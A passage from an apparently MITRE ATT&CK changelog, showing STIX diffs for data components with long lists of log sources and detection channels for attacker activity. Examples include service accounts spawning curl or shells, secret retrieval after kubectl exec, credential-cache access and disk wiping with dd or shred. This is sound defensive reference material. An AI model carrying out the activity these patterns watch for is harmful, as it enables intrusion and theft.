'auditd:SYSCALL', 'channel': 'execve of dd or sed targeting /proc/*/mem'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx'}, {'name': 'ETW', 'channel': 'Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'WriteProcessMemory: WriteProcessMemory targeting regions containing KernelCallbackTable addresses'}, {'name': 'EDR:file', 'channel': 'SetFileTime'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:31.145000+00:00 | 2025-10-21 15:14:36.999000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0032', 'external_id': 'DC0032'}] | |
| x_mitre_log_sources | [{'name': 'Process', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': "log stream 'eventMessage contains pubsub or broker'"}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=1'}, {'name': 'linux:osquery', 'channel': 'Execution of binary resolved from $PATH not located in /usr/bin or /bin'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution path inconsistent with baseline PATH directories'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4688'}, {'name': 'linux:osquery', 'channel': 'process_events'}, {'name': 'macos:endpointsecurity', 'channel': 'exec'}, {'name': 'macos:osquery', 'channel': 'processes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl with suspicious arguments'}, {'name': 'auditd:SYSCALL', 'channel': 'execve network tools'}, {'name': 'macos:osquery', 'channel': 'process_events'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to soffice.bin with suspicious macro execution flags'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts'}, {'name': 'macos:osquery', 'channel': 'process reading browser configuration paths'}, {'name': 'macos:unifiedlog', 'channel': 'exec logs'}, {'name': 'auditd:EXECVE', 'channel': 'execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Process execution context for loaders calling dlopen/dlsym'}, {'name': 'auditd:EXECVE', 'channel': 'EXECVE'}, {'name': 'auditd:EXECVE', 'channel': 'execution of unexpected binaries during user shell startup'}, {'name': 'macos:unifiedlog', 'channel': 'launch of Terminal.app or shell with non-standard environment setup'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC with unusual parent-child process relationships from zsh'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of systemctl or service stop'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of launchctl or pkill'}, {'name': 'macos:unifiedlog', 'channel': 'process::exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context'}, {'name': 'macos:osquery', 'channel': 'Execution of non-standard binaries accessing Kerberos APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Electron-based binary spawning shell or script interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'Electron app spawning unexpected child process'}, {'name': 'esxi:shell', 'channel': '/root/.ash_history or /etc/init.d/*'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls with high-frequency or known bandwidth-intensive tools'}, {'name': 'macos:unifiedlog', 'channel': 'exec or spawn calls to proxy tools or torrent clients'}, {'name': 'containers:osquery', 'channel': 'bandwidth-intensive command execution from within a container namespace'}, {'name': 'macos:unifiedlog', 'channel': 'process launch'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --info --predicate \'subsystem == "com.apple.cfprefsd"\''}, {'name': 'macos:unifiedlog', 'channel': 'execution of security, sqlite3, or unauthorized binaries'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected applications generating outbound DNS queries'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=1'}, {'name': 'macos:osquery', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected child process of Safari or Chrome'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)'}, {'name': 'macos:unifiedlog', 'channel': 'execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks'}, {'name': 'macos:unifiedlog', 'channel': 'process writes or modifies files in excluded paths'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.mail.* exec.*'}, {'name': 'macos:unifiedlog', 'channel': 'execution of memory inspection tools (lldb, gdb, osqueryi)'}, {'name': 'esxi:vobd', 'channel': '/var/log/vobd.log'}, {'name': 'kubernetes:apiserver', 'channel': 'kubectl exec or kubelet API calls targeting running pods'}, {'name': 'docker:audit', 'channel': 'Process execution events within container namespace context'}, {'name': 'auditd:SYSCALL', 'channel': 'process persists beyond parent shell termination'}, {'name': 'macos:unifiedlog', 'channel': 'background process persists beyond user logout'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)'}, {'name': 'macos:unifiedlog', 'channel': 'Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns'}, {'name': 'esxi:hostd', 'channel': 'process execution across cloud VM'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl spawning managed processes'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)'}, {'name': 'macos:unifiedlog', 'channel': 'exec events where web process starts a shell/tooling'}, {'name': 'docker:events', 'channel': 'Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container'}, {'name': 'macos:unifiedlog', 'channel': 'exec of osascript, bash, curl with suspicious parameters'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells (sh, bash, python) within container context'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of discovery commands targeting backup binaries, processes, or config paths'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list'}, {'name': 'macos:osquery', 'channel': 'process_events OR launchd'}, {'name': 'auditd:EXECVE', 'channel': 'execve'}, {'name': 'macos:osquery', 'channel': 'launchd or process_events'}, {'name': 'macos:unifiedlog', 'channel': 'process and file events via log stream'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries spawned from browser processes'}, {'name': 'macos:unifiedlog', 'channel': 'Browser processes launching unexpected interpreters (osascript, bash)'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'EXECVE'}, {'name': 'macos:unifiedlog', 'channel': 'process:exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of bash, python, or perl processes spawned by browser/email client'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of osascript, bash, or Terminal initiated from Mail.app or Safari'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity.'}, {'name': 'macos:osquery', 'channel': "parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes."}, {'name': 'macos:unifiedlog', 'channel': 'process activity stream'}, {'name': 'auditd:SYSCALL', 'channel': 'SYSCALL record where exe contains passwd/userdel/chage and auid != root'}, {'name': 'macos:unifiedlog', 'channel': 'Post-login execution of unrecognized child process from launchd or loginwindow'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of base64|openssl|xxd|python|perl with arguments matching Base64 flags'}, {'name': 'macos:unifiedlog', 'channel': 'process command line contains base64, -enc, openssl enc -base64'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: arguments contain Base64-like strings'}, {'name': 'esxi:shell', 'channel': 'commands containing base64, openssl enc -base64, xxd -p'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process launched via loginwindow session restore'}, {'name': 'macos:unifiedlog', 'channel': 'process: exec + filewrite: ~/.ssh/authorized_keys'}, {'name': 'containerd:runtime', 'channel': '/var/log/containers/*.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Java apps or other processes with hidden window attributes'}, {'name': 'macos:unifiedlog', 'channel': 'Process Execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve on code or jetbrains-gateway with remote flags'}, {'name': 'macos:unifiedlog', 'channel': 'process: code or jetbrains-gateway launching with --tunnel or --remote'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'processImagePath CONTAINS "curl" OR "osascript"\''}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, wipe targeting block devices'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of sleep or ping command within script interpreted by bash/python'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or socket/connect system calls from processes using crypto libraries'}, {'name': 'macos:unifiedlog', 'channel': 'Process using AES/RC4 routines unexpectedly'}, {'name': 'linux:osquery', 'channel': 'execution of known firewall binaries'}, {'name': 'auditd:SYSCALL', 'channel': 'type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime'}, {'name': 'linux:osquery', 'channel': "execve: command like 'date', 'timedatectl', 'hwclock', 'cat /etc/timezone'"}, {'name': 'macos:unifiedlog', 'channel': 'process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: binary == "/usr/sbin/systemsetup" and args contains "-gettimezone"'}, {'name': 'macos:osquery', 'channel': "execve: command LIKE '%systemsetup -gettimezone%' OR '%date%'"}, {'name': 'macos:unifiedlog', 'channel': 'execution of osascript, curl, or unexpected automation'}, {'name': 'macos:unifiedlog', 'channel': 'exec /usr/bin/pwpolicy'}, {'name': 'auditd:SYSCALL', 'channel': 'socket(AF_PACKET|AF_INET, SOCK_RAW, *), setsockopt(… SO_ATTACH_FILTER|SO_ATTACH_BPF …), bpf(cmd=BPF_PROG_LOAD), open/openat path="/dev/bpf*" (BSD/macOS-like) or setcap cap_net_raw.'}, {'name': 'linux:syslog', 'channel': 'KERN messages about eBPF program load/verify or LSM denials related to bpf.'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'open/openat of /dev/bpf*; ioctl BIOCSETF-like operations.'}, {'name': 'macos:unifiedlog', 'channel': 'Exec of tcpdump, rvictl, custom tools linked to libpcap.A.dylib; sysextd/systemextensionsctl events for NetworkExtension content filters.'}, {'name': 'auditd:EXECVE', 'channel': '/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of known flash tools (e.g., flashrom, fwupd)'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.firmwareupdater activity or update-firmware binary invoked'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt'}, {'name': 'macos:unifiedlog', 'channel': "exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API"}, {'name': 'macos:endpointSecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)'}, {'name': 'macos:osquery', 'channel': 'execve: Processes unexpectedly invoking Keychain or authentication APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)'}, {'name': 'macos:unifiedlog', 'channel': 'process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary'}, {'name': 'auditd:EXECVE', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'process:launch'}, {'name': 'auditd:EXECVE', 'channel': 'Shell commands invoked by SQL process such as postgres, mysqld, or mariadbd'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of "sharing -l", "smbutil view", "mount_smbfs"'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of scp, rsync, curl with remote destination'}, {'name': 'macos:unifiedlog', 'channel': 'logMessage contains pbpaste or osascript'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)'}, {'name': 'macos:unifiedlog', 'channel': 'process launch of diskutil or system_profiler with SPStorageDataType'}, {'name': 'esxi:hostd', 'channel': "execution of esxcli with args matching 'storage', 'filesystem', 'core device list'"}, {'name': 'macos:unifiedlog', 'channel': 'Mail.app executing with parameters updating rules state'}, {'name': 'esxi:shell', 'channel': '/var/log/vmkernel.log, /var/log/vmkwarning.log'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera'}, {'name': 'kubernetes:apiserver', 'channel': 'exec into pod followed by secret retrieval via API'}, {'name': 'macos:unifiedlog', 'channel': 'process_name IN ("VBoxManage", "prlctl") AND command CONTAINS ("list", "show")'}, {'name': 'macos:unifiedlog', 'channel': 'exec srm|exec openssl|exec gpg'}, {'name': 'linux:osquery', 'channel': 'Process execution with LD_PRELOAD or modified library path'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process with DYLD_INSERT_LIBRARIES set'}, {'name': 'linux:Sysmon', 'channel': 'process creation events linked to container namespaces executing host-level binaries'}, {'name': 'WinEventlog:Security', 'channel': 'EventCode=4688'}, {'name': 'macos:unifiedlog', 'channel': 'process and signing chain events'}, {'name': 'macos:unifiedlog', 'channel': 'launchservices events for misleading extensions'}, {'name': 'fs:fsusage', 'channel': 'Execution of disguised binaries'}, {'name': 'linux:osquery', 'channel': 'process listening or connecting on non-standard ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchd services binding to non-standard ports'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, connect'}, {'name': 'esxi:cron', 'channel': 'process or cron activity'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binaries with unsigned or anomalously signed certificates'}, {'name': 'auditd:SYSCALL', 'channel': 'execve logging for /usr/bin/systemctl and systemd-run'}, {'name': 'macos:osquery', 'channel': 'Invocation of osascript or dylib injection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of files saved in mail or download directories'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Terminal, osascript, or other interpreters originating from Mail or Preview'}, {'name': 'macos:unifiedlog', 'channel': 'process events'}, {'name': 'linux:syslog', 'channel': 'Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of CLI tools like psql, mysql, mongo, sqlite3'}, {'name': 'macos:unifiedlog', 'channel': 'Process start of Java or native DB client tools'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or tccd-related entries'}, {'name': 'macos:osquery', 'channel': 'query: process_events, launchd, and tcc.db access'}, {'name': 'ebpf:syscalls', 'channel': 'process execution or network connect from just-created container PID namespace'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of pip, npm, gem, or similar package managers'}, {'name': 'macos:unifiedlog', 'channel': 'Command line invocation of pip3, brew install, npm install from interactive Terminal'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/exec of service via PID 1 (systemd)'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of ssh/scp/sftp without corresponding authentication log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of ssh or sftp without corresponding login event'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve where exe=/usr/bin/python3 or similar interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'launch of remote desktop app or helper binary'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes making network calls based on DNS-derived ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl spawning new processes'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl activity and process creation'}, {'name': 'containerd:events', 'channel': 'New container with suspicious image name or high resource usage'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Python, Swift, or other binaries invoking archiving libraries'}, {'name': 'linux:osquery', 'channel': 'Processes linked with libssl or crypto libraries making outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'Process invoking SSL routines from Security framework'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of binaries located in /etc/init.d/ or systemd service paths'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binary listed in newly modified LaunchAgent plist'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of bless or nvram modifying boot parameters'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes registered with launchd'}, {'name': 'macos:unifiedlog', 'channel': 'Process launch'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, osascript, or unexpected Office processes'}, {'name': 'macos:osquery', 'channel': 'exec'}, {'name': 'macos:unifiedlog', 'channel': 'Trust validation failures or bypass attempts during notarization and code signing checks'}, {'name': 'esxi:vmkernel', 'channel': 'spawned shell or execution environment activity'}, {'name': 'macos:unifiedlog', 'channel': 'process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python*,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: exe in {/bin/bash,/bin/sh,/usr/bin/python*,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd/sgdisk with arguments writing to sector 0 or partition table'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for chmod, chown, chflags with unusual parameters or targets'}, {'name': 'm365:defender', 'channel': 'AdvancedHunting(DeviceEvents, ProcessCreate, ImageLoad, AMSI/ETW derived signals)'}, {'name': 'macos:unifiedlog', 'channel': 'execve or dylib load from memory without backing file'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands that alter firewall or start listeners: iptables|nft|ufw|firewall-cmd|pfctl|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw).'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers.'}, {'name': 'esxi:shell', 'channel': 'Shell Execution'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual child process tree indicating attempted recovery after crash'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of binaries/scripts presenting false health messages for security daemons'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes mimicking Apple Security & Privacy GUIs'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Auditing', 'channel': 'EventCode=4688'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, setifflags'}, {'name': 'macos:osquery', 'channel': "process_events where path like '%tcpdump%'"}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, or wipe with arguments targeting block devices'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl stop auditd, kill -9 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:27.797000+00:00 | 2025-10-21 19:28:39.339000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 2.0 |
| x_mitre_data_source_ref | x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0107', 'external_id': 'DC0107'}] | |
| x_mitre_log_sources | [{'name': 'Operational Databases', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--1b8c9f31-ad35-4850-bf8c-80c565ad3552 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:39:54.996000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0034', 'external_id': 'DC0034'}] | |
| x_mitre_log_sources | [{'name': 'Process', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.process'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'CodeIntegrity/WDAC events indicating unsigned/invalid DLL loads'}, {'name': 'linux:syslog', 'channel': 'sudo or service accounts invoking loaders with suspicious env vars'}, {'name': 'macos:osquery', 'channel': 'Process Context'}, {'name': 'esxi:auth', 'channel': 'user session'}, {'name': 'networkdevice:syslog', 'channel': 'Admin activity'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call for sudo where euid != uid'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.TCC'}, {'name': 'macos:unifiedlog', 'channel': 'exec of binary with setuid/setgid and EUID != UID'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'auditd:SYSCALL', 'channel': 'Use of fork/exec with DISPLAY unset or redirected'}, {'name': 'EDR:Telemetry', 'channel': 'Process lineage and API usage enrichment (GetSystemTime, GetTimeZoneInformation, NtQuerySystemTime)'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log API calls reading/altering time/ntp settings'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, prctl, or ptrace activity affecting process memory or command-line arguments'}, {'name': 'linux:osquery', 'channel': 'Cross-reference argv[0] with actual executable path and parent process metadata'}, {'name': 'WinEventLog:AppLocker', 'channel': 'AppLocker audit/blocks showing developer utilities executing scripts/binaries outside policy'}, {'name': 'EDR:hunting', 'channel': 'Correlation of signer info, parent-child lineage, rare invocation context (user host role), and API surfaces (CreateProcess*, LoadLibrary*)'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode', 'channel': 'ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads'}, {'name': 'etw:Microsoft-Windows-ClickOnce', 'channel': 'provider: Event Tracing for Windows (ETW) events associated with ClickOnce deployment (dfsvc.exe activity)'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational', 'channel': 'Process session start/stop events for camera pipeline by unexpected executables'}, {'name': 'linux:osquery', 'channel': "select: path LIKE '/dev/video%'"}, {'name': 'linux:osquery', 'channel': 'state=attached/debugged'}, {'name': 'macos:unifiedlog', 'channel': 'Code Execution & Entitlement Access'}, {'name': 'macos:unifiedlog', 'channel': 'Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID'}, {'name': 'macos:unifiedlog', 'channel': 'code signature/memory protection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with UID ≠ EUID'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with escalated privileges'}, {'name': 'AWS:CloudTrail', 'channel': 'cross-account or unexpected assume role'}, {'name': 'macos:unifiedlog', 'channel': 'log collect from launchd and process start'}, {'name': 'containerd:events', 'channel': 'Docker or containerd image pulls and process executions'}, {'name': 'linux:syslog', 'channel': 'Kernel or daemon warnings of downgraded TLS or cryptographic settings'}, {'name': 'macos:unifiedlog', 'channel': 'Modifications or writes to EFI system partition for downgraded bootloaders'}, {'name': 'macos:unifiedlog', 'channel': 'non-shell process tree accessing bash history'}, {'name': 'linux:osquery', 'channel': 'process metadata mismatch between /proc and runtime attributes'}, {'name': 'linux:osquery', 'channel': 'process environment variables containing LD_PRELOAD'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=400,403'}, {'name': 'macos:osquery', 'channel': 'Process Execution + Hash'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'process_start: EventHeader.ProcessId true parent vs reported PPID mismatch'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned/invalid signature modules or images loaded by msbuild.exe or its children'}, {'name': 'WinEventLog:Microsoft-Windows-DeviceGuard/Operational', 'channel': 'WDAC policy audit/block affecting msbuild.exe spawned payloads'}, {'name': 'WinEventLog:Microsoft-Windows-SmartAppControl/Operational', 'channel': 'Smart App Control decisions (audit/block) for msbuild.exe-launched executables'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned or untrusted modules loaded during JamPlus.exe runtime'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:37.873000+00:00 | 2025-10-21 15:14:35.331000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0033', 'external_id': 'DC0033'}] | |
| x_mitre_log_sources | [{'name': 'Process', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=5'}, {'name': 'linux:syslog', 'channel': 'Unexpected termination of daemons or critical services not aligned with admin change tickets'}, {'name': 'macos:osquery', 'channel': 'process_termination: Unexpected termination of processes tied to vulnerable or high-value services'}, {'name': 'esxi:hostd', 'channel': 'Log entries indicating VM powered off or forcibly terminated'}, {'name': 'macos:unifiedlog', 'channel': 'Terminal process killed (killall Terminal) immediately after sudoers modification'}, {'name': 'auditd:SYSCALL', 'channel': 'exit_group'}, {'name': 'macos:unifiedlog', 'channel': 'process.*exit.*code'}, {'name': 'linux:osquery', 'channel': 'unexpected termination of syslog or rsyslog processes'}, {'name': 'auditd:SYSCALL', 'channel': 'Process segfault or abnormal termination after invoking vulnerable syscall sequence'}, {'name': 'auditd:SYSCALL', 'channel': 'kill syscalls targeting logging/security processes'}, {'name': 'macos:unifiedlog', 'channel': 'Termination of syspolicyd or XProtect processes'}, {'name': 'docker:runtime', 'channel': 'Termination of monitoring sidecar or security container'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:34.519000+00:00 | 2025-10-21 15:14:36.181000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0109', 'external_id': 'DC0109'}] | |
| x_mitre_log_sources | [{'name': 'Operational Databases', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--1b8c9f31-ad35-4850-bf8c-80c565ad3552 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:39:52.496000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0001', 'external_id': 'DC0001'}] | |
